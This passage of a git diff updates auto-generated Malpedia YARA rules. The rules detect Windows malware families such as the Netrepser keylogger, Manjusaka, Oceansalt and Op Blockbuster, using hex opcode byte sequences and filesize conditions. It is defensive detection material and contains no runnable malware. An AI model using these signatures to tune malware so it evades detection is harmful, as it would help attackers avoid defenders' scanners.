"https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.pony_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "107f1b585d0a1fb5b5a2004135458a9d2fc68da8f22b2f0a6dfa6f03b7f81b2b" + logic_hash = "9de93368584eaaab5c5e69d58fb6c6411ee417490cc0e48dc0aded17e02bd8ef" score = 75 quality = 75 tags = "FILE" @@ -140865,32 +140625,32 @@ rule MALPEDIA_Win_Electricfish_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { eb08 56 57 53 ffd0 83c40c 3bc6 } - $sequence_1 = { e8???????? 8bf8 85ff 75e0 6891010000 68???????? 6a41 } - $sequence_2 = { eb3a 0fb67201 81e680000000 b901000000 3bc6 75c4 68ae000000 } - $sequence_3 = { 39442458 7413 6852020000 68???????? 50 e8???????? 83c40c } - $sequence_4 = { c3 837f1006 7414 689a010000 68???????? 6892000000 e9???????? } - $sequence_5 = { 33c0 c745fc02000000 8945e8 8945ec 8d45e8 6a08 50 } - $sequence_6 = { f6423401 7508 c744241401000000 8b834c010000 85c0 0f8426010000 3bf8 } - $sequence_7 = { 85ed 7518 6874010000 68???????? 6a41 6a7d 6a0b } - $sequence_8 = { e8???????? 83c40c 85c0 0f84bb040000 6a01 53 c7430c00000000 } - $sequence_9 = { 85ff 0f8522010000 e8???????? 5f 5e 5d } + $sequence_0 = { c6400200 c6400300 c6400400 c6400505 8d45f4 50 } + $sequence_1 = { 33f9 8d9c1f051d8804 035e18 c1c317 } + $sequence_2 = { 7406 50 e8???????? c785dcf7ffff15000000 8d85d0f7ffff } + $sequence_3 = { ff750c ff35???????? e8???????? 8945f4 6a00 ff7514 ff750c } + $sequence_4 = { c1e002 31c2 89c8 c1e810 31d0 89c3 } + $sequence_5 = { 75ed 0fb646ff 83f808 7702 2bf0 2b7510 d1ee } + $sequence_6 = { 2bfb 83fb38 720e 03fb b840000000 2bc3 03f8 } + $sequence_7 = { 6800fa0000 ff75f4 ff7508 e8???????? 85c0 0f8430010000 ff75f4 } + $sequence_8 = { 68???????? e8???????? 898554ffffff 83bd54ffffff00 7445 83bd58ffffff14 723c } + $sequence_9 = { ff7518 e8???????? ff750c e8???????? d1e0 83c002 } condition: - 7 of them and filesize < 3162112 + 7 of them and filesize < 262144 } -rule MALPEDIA_Win_Sunorcal_Auto : FILE +rule MALPEDIA_Win_Netrepser_Keylogger_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6c432810-e8f0-5844-8d29-cb8f4d1dde8c" + id = "f772ff80-f7e1-59f5-b4f9-deba38267db2" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sunorcal" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.sunorcal_auto.yar#L1-L124" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netrepser_keylogger" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.netrepser_keylogger_auto.yar#L1-L174" license_url = "N/A" - logic_hash = "5b9405aaca8472dd7d7babc873d4fa797ade7b01d47ace52674d0f1fda5d55c6" + logic_hash = "13abde176c0dbe626f8e6b9e0859b33d03f906fc80a16b44518b3026f31a5776" score = 75 quality = 75 tags = "FILE" @@ -140904,32 +140664,38 @@ rule MALPEDIA_Win_Sunorcal_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 5b c21000 8b442404 8b00 813863736de0 752a 83781003 } - $sequence_1 = { 6a03 e8???????? cc 55 8bec 83ec0c } - $sequence_2 = { 6a03 e8???????? cc 55 8bec 83ec0c a1???????? } - $sequence_3 = { 68b7000000 ff15???????? 6a64 68???????? 6a67 } - $sequence_4 = { 68???????? ff15???????? 33c0 c3 c3 55 8bec } - $sequence_5 = { ff15???????? 68b7000000 ff15???????? 6a64 68???????? } - $sequence_6 = { ff15???????? 6a03 e8???????? cc 55 8bec 83ec0c } - $sequence_7 = { c21000 8b442404 8b00 813863736de0 752a 83781003 7524 } - $sequence_8 = { c21000 8b442404 8b00 813863736de0 } - $sequence_9 = { 7c02 eb0e e8???????? e8???????? 85c0 } + $sequence_0 = { 51 ff15???????? 8b550c 8902 8b450c 833800 742b } + $sequence_1 = { 51 8b5510 8b02 50 e8???????? 83f8ff 7507 } + $sequence_2 = { 895108 8b4538 89410c 8b553c 895110 8b4528 50 } + $sequence_3 = { 8b45e4 8945c0 eb07 c745c000000000 } + $sequence_4 = { 833d????????00 0f85ab000000 c645dc53 c645dd48 } + $sequence_5 = { 81ec3c010000 6804010000 8d85e0feffff 50 6a00 ff15???????? } + $sequence_6 = { 8d4310 8d89245b4100 5a 668b31 41 668930 41 } + $sequence_7 = { e9???????? c645cc44 c645cd41 c645ce54 } + $sequence_8 = { 8b701c 8bcf e8???????? 8b4c240c 0fb711 } + $sequence_9 = { c74424104c6f6164 c74424144c696272 c744241861727941 8974241c ff15???????? 8bc8 } + $sequence_10 = { 8b4d18 8d7520 e8???????? 83c418 85c0 } + $sequence_11 = { 8b0d???????? 51 e8???????? 8b442430 8b542414 8910 83c404 } + $sequence_12 = { ff15???????? a3???????? 8b542448 6a40 6800300000 52 6a00 } + $sequence_13 = { 3bc5 7d08 5d 33c0 5b 83c418 } + $sequence_14 = { 85c0 750d 8b442418 e8???????? 85c0 } + $sequence_15 = { 81c408010000 c3 8bff 55 8bec } condition: - 7 of them and filesize < 172032 + 7 of them and filesize < 303104 } -rule MALPEDIA_Win_Nightshade_C2_Auto : FILE +rule MALPEDIA_Win_Manjusaka_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "506408db-305c-5339-b348-c82ff40c922a" + id = "51e0b6e1-e568-5f67-9420-ee9d6d4c7f64" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.nightshade_c2" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.nightshade_c2_auto.yar#L1-L133" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.manjusaka" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.manjusaka_auto.yar#L1-L134" license_url = "N/A" - logic_hash = "73549f59f11fbc1afdb3ccb5b45ff5a2e04bde2ab7c3c97f1567af6c297191aa" + logic_hash = "29c4c663bca03e2a4622112f8201d75001eddf5ba4fdd44c2a396a51b4263dae" score = 75 quality = 75 tags = "FILE" @@ -140943,32 +140709,32 @@ rule MALPEDIA_Win_Nightshade_C2_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { c744243000000000 488b842438010000 4889442428 89542420 448bcf 4533c0 33d2 } - $sequence_1 = { c744242000000000 eb0b 8b442420 83c002 89442420 8b842480000000 39442420 } - $sequence_2 = { 488b4c2458 ff15???????? 90 48837c247000 740c 488b4c2470 ff15???????? } - $sequence_3 = { 8b442458 89442428 488b442460 4889442420 448b4c2454 4c8b442470 33d2 } - $sequence_4 = { 8b0c24 486bc903 488b542408 0fb60c0a 81e1ff000000 0bc1 8b0c24 } - $sequence_5 = { ff15???????? ff15???????? 90 488b442440 488bc8 e8???????? 90 } - $sequence_6 = { 48638424b8000000 488b8c24b0000000 4803c8 488bc1 4889442430 c744244400000000 eb0b } - $sequence_7 = { 85c0 7479 488b542438 488d0d0ce50100 e8???????? 85c0 } - $sequence_8 = { ff15???????? 85c0 7505 e9???????? 41b810000000 488d9424b8000000 488b4c2448 } - $sequence_9 = { 8b442424 8b4c2460 2bc8 8bc1 3dffff0000 7e0a c7442420ffff0000 } + $sequence_0 = { 488b4110 4885c0 0f8482000000 488b31 486bf870 31db 48837c1e0800 } + $sequence_1 = { 8be9 2bef 4803fa 399c2490000000 7417 498b4d70 e8???????? } + $sequence_2 = { f048ff08 750d 488d8c2438010000 e8???????? 80bc24c801000002 740d 488d8c2440010000 } + $sequence_3 = { 85c0 750e b9667b0200 e8???????? 8bc8 ebe2 488b4b18 } + $sequence_4 = { ba08000000 e8???????? 0f0b 488d4134 c3 488d4135 c3 } + $sequence_5 = { 81fa00fc0000 7323 66c741100100 6644894112 48c1e010 4883c801 c3 } + $sequence_6 = { e8???????? 4885d2 7415 4c39e8 7509 4c39e2 0f846a010000 } + $sequence_7 = { 8a8c0ca2000000 41300c2f 488d4d01 4889cd 4939cc 75b8 488b442440 } + $sequence_8 = { f048ff00 0f8e64050000 4889c7 b930000000 ba08000000 e8???????? 4885c0 } + $sequence_9 = { 8806 4883c440 5e c3 4889d1 4c89c2 4d89c8 } condition: - 7 of them and filesize < 458752 + 7 of them and filesize < 4772864 } -rule MALPEDIA_Win_Bedep_Auto : FILE +rule MALPEDIA_Win_Hlux_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "6ea06871-a8ca-5ce7-b9c2-106c128847d6" + id = "d4c2052b-0cd7-527b-912e-2b962734b611" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bedep" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bedep_auto.yar#L1-L131" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hlux" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hlux_auto.yar#L1-L158" license_url = "N/A" - logic_hash = "16b76a62133391f06cc2c61f0e60ca33efb0a31528884eb23ddb66df3319299d" + logic_hash = "779cc27c2a832f57ff4dea76d2b777f85d6a15f93d14c3ef1d8885e9224660be" score = 75 quality = 75 tags = "FILE" @@ -140982,32 +140748,38 @@ rule MALPEDIA_Win_Bedep_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 6a02 5f 397df0 7e03 895dfc 837d0800 741f } - $sequence_1 = { 8d45a4 50 ff7508 8975fc e8???????? } - $sequence_2 = { e8???????? 8bf0 85f6 59 743c 8a45e0 832600 } - $sequence_3 = { eb54 53 6878020000 8d8580fdffff 50 6a01 ff75f8 } - $sequence_4 = { 85c9 7410 3bd1 740c 8b09 85c9 } - $sequence_5 = { 740b 8d442410 50 ff15???????? 8bc7 5f 5e } - $sequence_6 = { e8???????? 8bf0 f7c67fffffff 7729 ff7508 e8???????? 3bf3 } - $sequence_7 = { 8b4c2414 8b463c c644240f01 ff742418 ff742420 ff7644 6a01 } - $sequence_8 = { 40 85c9 7c08 668b4b0c 66014b0a 66894308 5f } - $sequence_9 = { ff7638 ff742438 50 8d442450 50 ff742438 8d442438 } + $sequence_0 = { 7406 899d44ffffff 09c9 7506 898d9cfeffff 83ffd6 } + $sequence_1 = { 7503 895598 8b9decfeffff 8d0b 09db } + $sequence_2 = { 0009 1b4e01 e405 9d } + $sequence_3 = { 0088aa4b0023 d18a0688078a 46 018847018a46 } + $sequence_4 = { 0000 008365f0fe8b 4d 0883c108e918 } + $sequence_5 = { 0130 8b13 8b08 85d2 } + $sequence_6 = { 33db 81f926edf50a 742f 8d144b 8d8c8b9948a5f2 8955f0 83f909 } + $sequence_7 = { 7534 85c9 7430 83f9f4 } + $sequence_8 = { bba43c0cdb 8b15???????? 8955c4 895de0 83f8c1 7503 8945d8 } + $sequence_9 = { 010f 840f 0000 008365f0fe8b } + $sequence_10 = { 0104bb 8d1447 89542418 e9???????? } + $sequence_11 = { 0101 c9 c3 6a10 } + $sequence_12 = { 0104b9 33c9 83c408 85c0 } + $sequence_13 = { 898d84feffff 8b0d???????? 8b1d???????? 899d0cffffff } + $sequence_14 = { 83f8a6 7406 89851cffffff 8b1d???????? 895df4 8b3d???????? } + $sequence_15 = { 89bd64ffffff 09c0 750b 83f8c1 7406 } condition: - 7 of them and filesize < 557056 + 7 of them and filesize < 3147776 } -rule MALPEDIA_Win_Lowball_Auto : FILE +rule MALPEDIA_Win_Oceansalt_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "54da57b9-ab1c-5339-aa9f-22bb43699408" + id = "02715696-fd80-57ea-b24d-396ae324dbb5" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lowball" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lowball_auto.yar#L1-L115" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oceansalt" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oceansalt_auto.yar#L1-L171" license_url = "N/A" - logic_hash = "6556d6fae2a4a8629aa4a1cdf4ec37ace65e626c581801de62deac1b596c79de" + logic_hash = "02d347ca93ad6009e5025efa6ae57d6d731ae049bbef6bfc036d024dce1ca79a" score = 75 quality = 75 tags = "FILE" @@ -141021,19 +140793,25 @@ rule MALPEDIA_Win_Lowball_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 85c0 0f848d000000 8d842434070000 68???????? } - $sequence_1 = { 8d4b01 51 e8???????? 56 } - $sequence_2 = { 85f6 89742410 0f84bf000000 8b8c241c020000 } - $sequence_3 = { 6810270000 ff15???????? bf???????? 83c9ff } - $sequence_4 = { 0f840c010000 8b8c2424020000 53 55 55 } - $sequence_5 = { 896c2418 c744242400020000 aa e8???????? 55 } - $sequence_6 = { 84c0 750b 33c0 81c4400e0000 c21000 } - $sequence_7 = { 68???????? e8???????? 83c410 85c0 0f848d000000 8d842434070000 } - $sequence_8 = { 85c0 752d 68b80b0000 ffd3 8d84242c050000 8d8c241c010000 50 } - $sequence_9 = { 8b742420 53 ff15???????? 5b 56 ff15???????? 8b44240c } + $sequence_0 = { 56 8b7508 57 6a00 6804020000 8d85f8f9ffff 50 } + $sequence_1 = { 0f8492000000 53 6a00 6a00 6a00 6802000008 } + $sequence_2 = { 50 56 ffd3 6a00 6880000000 6a02 } + $sequence_3 = { 8b4508 6a00 52 57 50 } + $sequence_4 = { 6a07 8d45f4 50 56 c645f400 ff15???????? 6a00 } + $sequence_5 = { 85c9 7e0d 80b405fcfdffff77 40 3bc1 7cf3 56 } + $sequence_6 = { 85ff 743c 6a00 56 } + $sequence_7 = { 83c404 85c0 75ce 8b8dc4fdffff } + $sequence_8 = { 8be8 85c0 0f841e010000 48899c24a8010000 } + $sequence_9 = { 442b44247c 41c1e80a e8???????? f644246010 740a } + $sequence_10 = { 4c8d0d2ba3ffff 41bb00020000 408a2f 413aea 0f8524f9ffff 4438942490000000 } + $sequence_11 = { bb00080000 3918 0f4c18 bf01000000 3bcb 0f8d8d000000 4c8d35f4c60000 } + $sequence_12 = { 4883c440 5d c3 4055 4883ec20 488bea 488b01 } + $sequence_13 = { eb4e 488b0d???????? 488d542434 e8???????? eb3b } + $sequence_14 = { e8???????? 4c8d9c2470060000 498b6b20 498b7328 498be3 } + $sequence_15 = { 488d0d54e30000 f6410820 7417 33d2 } condition: - 7 of them and filesize < 40960 + 7 of them and filesize < 212992 } rule MALPEDIA_Win_Fickerstealer_Auto : FILE { @@ -141074,57 +140852,18 @@ rule MALPEDIA_Win_Fickerstealer_Auto : FILE condition: 7 of them and filesize < 598016 } -rule MALPEDIA_Win_Kazyloader_Auto : FILE -{ - meta: - description = "autogenerated rule brought to you by yara-signator" - author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "8e63e9d7-0aa3-54bc-8958-5bb44d9fbb2a" - date = "2026-01-05" - modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.kazyloader" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.kazyloader_auto.yar#L1-L124" - license_url = "N/A" - logic_hash = "34cc9a0cb8805c010ff93ad518256fe67686f6553b5dc947370b69715033db6f" - score = 75 - quality = 75 - tags = "FILE" - version = "1" - tool = "yara-signator v0.6.0" - signator_config = "callsandjumps;datarefs;binvalue" - malpedia_rule_date = "20260105" - malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79" - malpedia_version = "20251219" - malpedia_license = "CC BY-SA 4.0" - malpedia_sharing = "TLP:WHITE" - - strings: - $sequence_0 = { d2 9c 07 06 8e } - $sequence_1 = { 1309 1109 3a3fffffff 02 09 6f2700000a } - $sequence_2 = { 6f1a00000a 281b00000a 26 00 de00 } - $sequence_3 = { 8e 69 58 280100002b } - $sequence_4 = { 00 08 16 06 06 8e 69 } - $sequence_5 = { 00 1104 02 6f1f00000a 5a 1105 } - $sequence_6 = { 6f1400000a 740200001b 0c 1200 06 8e 69 } - $sequence_7 = { 58 91 1308 1108 20fd000000 59 } - $sequence_8 = { 282100000a 00 02 08 19 02 6f2200000a } - $sequence_9 = { 07 04 2804000006 0b 07 281200000a 6f1800000a } - - condition: - 7 of them and filesize < 50176 -} -rule MALPEDIA_Win_Atlas_Agent_Auto : FILE +rule MALPEDIA_Win_Magala_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "12437137-122e-5647-b916-3934d94f17a9" + id = "7d1b8c98-54ed-55c3-acdc-c42ca1617fa1" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.atlas_agent" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.atlas_agent_auto.yar#L1-L144" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.magala" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.magala_auto.yar#L1-L126" license_url = "N/A" - logic_hash = "bddbc52b224832b6d1899d8a7f9c2269559750eebdc1985f06284557268eff24" + logic_hash = "3f293fe262d0ce646006496753cf31d4b0409f545d9ecd746ba425bd758b2984" score = 75 quality = 75 tags = "FILE" @@ -141138,36 +140877,32 @@ rule MALPEDIA_Win_Atlas_Agent_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 0fb60c0a 83e13c c1f902 03c1 } - $sequence_1 = { 8bc1 99 b903000000 f7f9 c1e002 } - $sequence_2 = { 8a80c0ba0410 84c0 7f1f 8bce } - $sequence_3 = { 8a55fe 8810 8d4508 50 } - $sequence_4 = { 8a55f3 8855f1 0fb645f1 85c0 746c 68???????? 8d4dd8 } - $sequence_5 = { 8a5de3 8b0495e0b50410 885c012e 8b0495e0b50410 } - $sequence_6 = { 57 4883ec20 8bfa 4c8d0d517f0100 } - $sequence_7 = { 57 4883ec20 488d1daf180300 488d3da8180300 eb12 488b03 } - $sequence_8 = { 57 4883ec20 8bda 4c8d0d35810100 } - $sequence_9 = { 57 4883ec20 8bf9 e8???????? 4885c0 7509 488d0533ed0200 } - $sequence_10 = { 8a55ff 8810 8b45ec 83c001 } - $sequence_11 = { 57 4883ec20 4c8bda 488d2d5737fdff } - $sequence_12 = { 8a55ff 8811 8b45f4 50 e8???????? 83c404 8945f0 } - $sequence_13 = { 57 4883ec20 488d1ddb180300 488d3dd4180300 } + $sequence_0 = { 50 57 8d0451 e9???????? 8b4614 3bf7 746d } + $sequence_1 = { c745ec07000000 668945d8 e8???????? 837dec08 8d4dc4 6a04 51 } + $sequence_2 = { 50 8d8dd0fdffff e8???????? 6a1f 68???????? } + $sequence_3 = { 8da5f4feffff 8b4df4 64890d00000000 59 5f } + $sequence_4 = { 83bd8cfdffff00 7435 51 8d8d94fdffff e8???????? } + $sequence_5 = { e8???????? 83c404 ffd6 2bc7 3de0930400 76cf 68???????? } + $sequence_6 = { 56 8bf1 8b4e10 3bca 0f8214020000 8b450c 53 } + $sequence_7 = { c745c000000000 8b08 50 ff5108 8b45b8 8d55c0 } + $sequence_8 = { 6a00 8bcf e8???????? 8b4db4 85c9 7444 ff75b0 } + $sequence_9 = { 85db 744e 8bcb 8d5101 6690 8a01 } condition: - 7 of them and filesize < 857088 + 7 of them and filesize < 589824 } -rule MALPEDIA_Win_Vapor_Rage_Auto : FILE +rule MALPEDIA_Win_Farseer_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "1d14d0da-1333-54f1-9dbb-f6aece783656" + id = "a66e9913-f269-5edc-a360-d1e8d3201a95" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vapor_rage" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.vapor_rage_auto.yar#L1-L119" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.farseer" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.farseer_auto.yar#L1-L127" license_url = "N/A" - logic_hash = "4db758774b2d4194695ce32a1e8b4b65a9381f513267f8540ab016f72cc37d62" + logic_hash = "a0cc6c15e80fbd6ad14902af9a89ab7d523ee3b95c547b4caf6b73d387698705" score = 75 quality = 75 tags = "FILE" @@ -141181,34 +140916,34 @@ rule MALPEDIA_Win_Vapor_Rage_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { f2e94e030000 55 8bec 5d e9???????? 55 } - $sequence_1 = { 8d450c 50 8b4d08 51 6a02 ff15???????? 85c0 } - $sequence_2 = { 6a00 8d55ec 52 8b45d4 } - $sequence_3 = { 8d55ec 52 8b45d4 50 6a05 8b4de4 51 } - $sequence_4 = { c3 3b0d???????? f27502 f2c3 f2e94e030000 } - $sequence_5 = { 6a03 6a00 6a00 0fb755b0 52 } - $sequence_6 = { 50 8b4d08 51 6a02 ff15???????? 85c0 } - $sequence_7 = { 3b0d???????? f27502 f2c3 f2e94e030000 55 } - $sequence_8 = { ff15???????? 8b4df8 81c900010000 894df8 8b55f8 81ca80000000 } - $sequence_9 = { 83c404 8945c4 8b45c4 8945d0 } + $sequence_0 = { 8b46f4 8b4804 c74431f49c064200 8b56fc 8b4204 c74430fc???????? 8b4ef4 } + $sequence_1 = { 8b4d0c 8bfb e8???????? 8b4c2414 8b3d???????? } + $sequence_2 = { 68???????? 8d4c2440 c74424580f000000 c744245400000000 c644244400 e8???????? } + $sequence_3 = { 8b7d14 8bc7 3bc7 7300 8bd7 83ff01 7205 } + $sequence_4 = { 51 c78424a000000002000000 e8???????? 68???????? 8d542450 52 } + $sequence_5 = { ffd5 85c0 7e2f 03f0 81fe00040000 7ce1 33c0 } + $sequence_6 = { 6a00 51 c684241409000000 e8???????? 83c40c 8dbc2408090000 } + $sequence_7 = { ff15???????? 6804010000 8d54245a b901000000 52 } + $sequence_8 = { 8d048520634200 83e31f 8985e4efffff 8b00 c1e306 03c3 8a4824 } + $sequence_9 = { 64890d00000000 59 5f 5e 5d 5b 8b8c24a0020000 } condition: - 7 of them and filesize < 296960 + 7 of them and filesize < 347328 } -rule MALPEDIA_Win_Zeroaccess_Auto : FILE +rule MALPEDIA_Win_Op_Blockbuster_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "b43bafa0-7845-5d97-89eb-71fc1e8384a0" + id = "3b7f0c30-0206-5506-9bf8-8eb817cff417" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zeroaccess" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.zeroaccess_auto.yar#L1-L139" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.op_blockbuster" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.op_blockbuster_auto.yar#L1-L322" license_url = "N/A" - logic_hash = "58e6fa201d2edf5394810209f43ab6a140ff615859a9e38ec78386b3f1a7fa21" + logic_hash = "ef3bbaff4dfd2be69511dd31c3bf7441917e62af8119f46abb34c10cb6a977e8" score = 75 - quality = 75 + quality = 73 tags = "FILE" version = "1" tool = "yara-signator v0.6.0" @@ -141220,36 +140955,56 @@ rule MALPEDIA_Win_Zeroaccess_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { ff15???????? 85c0 7408 ff15???????? eb02 } - $sequence_1 = { 8b01 ff761c ff7618 ff5004 } - $sequence_2 = { 50 68???????? 6889001200 8d45fc } - $sequence_3 = { 6a01 8d45f4 50 ff7608 ff15???????? } - $sequence_4 = { 48 83c9ff c744242804000000 48 } - $sequence_5 = { 3bf8 730e 2bc7 e8???????? } - $sequence_6 = { 68060000c8 ff7708 ff15???????? 85c0 } - $sequence_7 = { 6a10 68???????? 68060000c8 ff7708 } - $sequence_8 = { 740c bf03000040 eb05 bf010000c0 85ff } - $sequence_9 = { 3bc1 7604 83c8ff c3 } - $sequence_10 = { ff15???????? 85c0 7407 b8e3030000 } - $sequence_11 = { 89742438 897c2448 e8???????? 48 } - $sequence_12 = { eb06 ff15???????? 48 8b9520020000 4c } - $sequence_13 = { 85c0 750c 8d7808 e8???????? ffcf 75f7 833d????????06 } + $sequence_0 = { c701???????? 8b497c 85c9 7407 51 } + $sequence_1 = { 57 683c400000 6a40 ff15???????? } + $sequence_2 = { e8???????? 85c0 7407 83f802 } + $sequence_3 = { ff15???????? 6808400000 6a40 ff15???????? } + $sequence_4 = { 56 e8???????? 68???????? 56 a3???????? e8???????? 83c440 } + $sequence_5 = { f3ab 66ab aa 5f 85f6 5e } + $sequence_6 = { 8a08 80f920 7505 83c021 } + $sequence_7 = { 8d45fc 6a04 50 57 ff15???????? } + $sequence_8 = { 85c0 7412 68???????? 50 e8???????? 59 a3???????? } + $sequence_9 = { 56 50 8d45fc 6a04 } + $sequence_10 = { 3c70 7f04 0409 eb06 } + $sequence_11 = { 3c69 7c08 3c70 7f04 } + $sequence_12 = { 8bf0 ff15???????? 85f6 7404 85c0 } + $sequence_13 = { 4863c1 48ffc7 448bc2 88940460010000 0fb607 84c0 } + $sequence_14 = { 33c0 8bf8 488d8dd0020000 4863df ff15???????? 488d4c3302 488d95d0020000 } + $sequence_15 = { a3???????? 5e c3 68???????? ff15???????? 85c0 7412 } + $sequence_16 = { 57 e8???????? 56 e8???????? 83c414 b801000000 } + $sequence_17 = { 666666660f1f840000000000 0fb603 48ffc3 884419ff 84c0 75f2 488d9580010000 } + $sequence_18 = { 488d8d11010000 33d2 41b803010000 c6851001000000 e8???????? 4533e4 488d542460 } + $sequence_19 = { 8bc6 5f 5e c3 33c0 6a00 } + $sequence_20 = { 6a00 ff15???????? 8bf8 85ff 7504 5f 5e } + $sequence_21 = { 89442440 888424c0020000 e8???????? 488d9424c0020000 } + $sequence_22 = { c3 56 53 6a01 57 e8???????? } + $sequence_23 = { c3 33c0 ebf8 53 33db 391d???????? 56 } + $sequence_24 = { 0fb607 48ffc1 84c0 75ea 803f20 740a } + $sequence_25 = { 68???????? 56 e8???????? 56 e8???????? 83c438 } + $sequence_26 = { 897de0 394508 7c1f 3934bdd8974400 } + $sequence_27 = { 83e03f c1ff06 6bd830 8b04bdd8974400 f644032801 } + $sequence_28 = { 6bc830 8b0495d8974400 8b440818 83f8ff 7409 83f8fe 7404 } + $sequence_29 = { 50 68???????? 6a05 8d856cffffff 57 50 } + $sequence_30 = { 8bcb 8d84240c0c0000 83e103 50 } + $sequence_31 = { c745d403000000 8975d8 8b08 52 } + $sequence_32 = { 8d85e0fdffff d1fe 4e 56 50 } + $sequence_33 = { e8???????? 6800040000 56 ff742414 ff15???????? 5f } condition: - 7 of them and filesize < 464896 + 7 of them and filesize < 74309632 } -rule MALPEDIA_Win_Glitch_Pos_Auto : FILE +rule MALPEDIA_Win_Echo_Gather_Auto : FILE { meta: description = "autogenerated rule brought to you by yara-signator" author = "Felix Bilstein - yara-signator at cocacoding dot com" - id = "c93e3d6a-335e-54cb-bdcc-97351033393c" + id = "7335def2-506d-5260-8b0d-ff3650457aaa" date = "2026-01-05" modified = "2026-01-06" - reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.glitch_pos" - source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.glitch_pos_auto.yar#L1-L125" + reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.echo_gather" + source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.echo_gather_auto.yar#L1-L128" license_url = "N/A" - logic_hash = "21a834f4b54c4ad338d28c072f57ab5cdab3b8ecf8da5350f54289b7483fd1b9" + logic_hash = "b9e20804863a93244aef376504c1242a73dc60c7321ec31adf915aed9161664d" score = 75 quality = 75 tags = "FILE" @@ -141263,32 +141018,32 @@ rule MALPEDIA_Win_Glitch_Pos_Auto : FILE malpedia_sharing = "TLP:WHITE" strings: - $sequence_0 = { 8b00 ff7508 ff9010030000 50 8d45c4 50 e8???????? } - $sequence_1 = { 8b4508 8b4034 83c001 0f80b9060000 8b4d08 894134 8b4508 } - $sequence_2 = { 8b00 ff7508 ff902c070000 6683bd2cffffffff 0f85f7030000 8b4508 8b00 } - $sequence_3 = { e8???????? 8945dc 8d45e0 50 8b450c 668b00 } - $sequence_4 = { 50 8b8554ffffff 8b00 ffb554ffffff ff5054 } - $sequence_5 = { 668985f0feffff 8d8568ffffff 50 8d8578ffffff 